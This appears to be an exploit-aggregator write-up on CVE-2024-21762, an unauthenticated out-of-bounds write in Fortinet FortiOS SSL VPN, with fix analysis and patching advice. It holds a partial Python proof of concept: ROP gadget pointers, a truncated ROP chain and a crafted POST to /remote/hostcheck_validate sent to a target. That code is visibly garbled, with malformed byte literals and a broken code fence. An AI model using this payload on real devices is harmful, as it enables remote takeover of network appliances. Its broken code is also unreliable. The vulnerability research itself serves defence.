## https://sploitus.com/exploit?id=7727A36F-D877-542F-B284-515BF9D1AE39
# cve-2024-21762-poc
CVE-2024-21762 is a critical vulnerability in Fortinet's FortiOS and FortiProxy products, within their SSL VPN components. The vulnerability allows an unauthenticated, remote attacker to execute arbitrary code or commands on the target system via a specially crafted HTTP request, potentially resulting in complete control of the system.
**Harm:**
Due to this vulnerability, an attacker can remotely execute arbitrary code without any authentication and thus take full control of the affected device. This could lead to sensitive data disclosure, service interruption, and even further cyberattacks.
**Attack Methods:**
The primary means for an attacker to exploit this vulnerability is to send specially crafted HTTP requests that trigger an out-of-bounds write vulnerability in the SSL VPN component. Specifically, an attacker can manipulate data in memory through a carefully constructed request, ultimately enabling remote code execution.
**Protection:**
To protect against this vulnerability, it is recommended to immediately upgrade FortiOS and FortiProxy to the latest officially available security version. In addition, disabling the SSL VPN feature is also a temporary protection measure.
-----
### CVE-2024-21762 Vulnerability Detail: Out-of-Bounds Write Vulnerability in Fortinet FortiOS
#### Vulnerability Background
**CVE-2024-21762** is a high-risk vulnerability in Fortinet FortiOS SSL VPN that is an unauthorized out-of-bounds write vulnerability. The vulnerability could be used for Remote Code Execution (RCE), posing a threat to the security of enterprise networks.
FortiGate released an update in February 2024 that fixes several medium- to high-risk vulnerabilities. Among them, this article focuses on the exploitation of CVE-2024-21762, including how the vulnerability can be exploited for remote code execution.
---
#### Vulnerability Exploitation Sample Code (PoC)
The following PoC code, courtesy of [assetnote](https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762), demonstrates the Basic Steps.
``python.
# Simplified exploit code snippet
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00%00" # SSL handshake pointer
getcwd_ptr = b"%70%62%2c%04%00%00%00%00" # getcwd function pointer
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # pivot instruction set 1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00%00" # pivot instruction set 2
rop = b"" # ROP chaining
rop += b"%c6%e2%46%00%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00%00"
# ... The rest of the ROP chain is omitted
# Fake request data
body = (b "B "*1808 + b"=" + b "B "*1024 + b"&") * 20
data = b "POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b "Host: 192.168.1.229\r\n"
data += f "Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body
# Send a fake request
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
``
---
#### Fixed code analysis
By comparing the binaries of FortiOS 7.4.2 and 7.4.3, the fixed code is located in the function `sub_18F4980`. The fixes are mainly focused on the following two points:
1. added checksum on `chunk` length when parsing `chunk` format. If the decoded length exceeds 16, it is considered illegal. 2.
2. Fixed the write logic of `chunk trailer` to prevent out-of-bounds writes to `\r\n`.
---
#### Exploit Principle
1. **Trigger out-of-bounds write**:
- When parsing `chunk`, reading `chunk trailer` is triggered if the length field decodes to 0. Writing `chunk trailer` triggers writing `\r\n` to the stack based on the length field.
- When writing a `chunk trailer`, write `\r\n` to the stack based on the length field.
- If the length field is a large number of `0`, an out-of-bounds write to `\r\n` near the return address is triggered.
2. **Stack Overflow and Hijacking**:
- With carefully constructed `chunk` data, the return address in the stack can be overwritten for the purpose of hijacking the program control flow.
- Remote code execution is achieved by utilizing ROP techniques in conjunction with FortiOS memory layout.
---
#### Exploit Exploit Difficulties
Although it is possible to hijack through the ROP chain, `/bin/sh` in the FortiGate main program does not have the ability to execute commands directly, so it is necessary to look for other functions that can be exploited. For example, further attacks can be performed by spoofing struct pointers and utilizing `SSL_do_handshake`.
---
#### Exploit Demo
The vulnerability can be exploited even in the default configuration (with Web mode turned off).
! [exploit demo](https://github.com/h4x0r-dz/CVE-2024-21762/assets/26070859/0e8188fa-de85-4579-b932-924c0e54b334)
---
#### Conclusion
CVE-2024-21762 is a vulnerability with a high level of complexity, the exploitation of which requires a deep understanding of FortiOS code logic and memory layout. Exploitation of real vulnerabilities requires more complex contextual and structural analysis than traditional CTF topics.
---
#### Link to original article
The authors provide a more detailed analysis article in Chinese, which can be found at: [original address](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn= 2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1& scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd)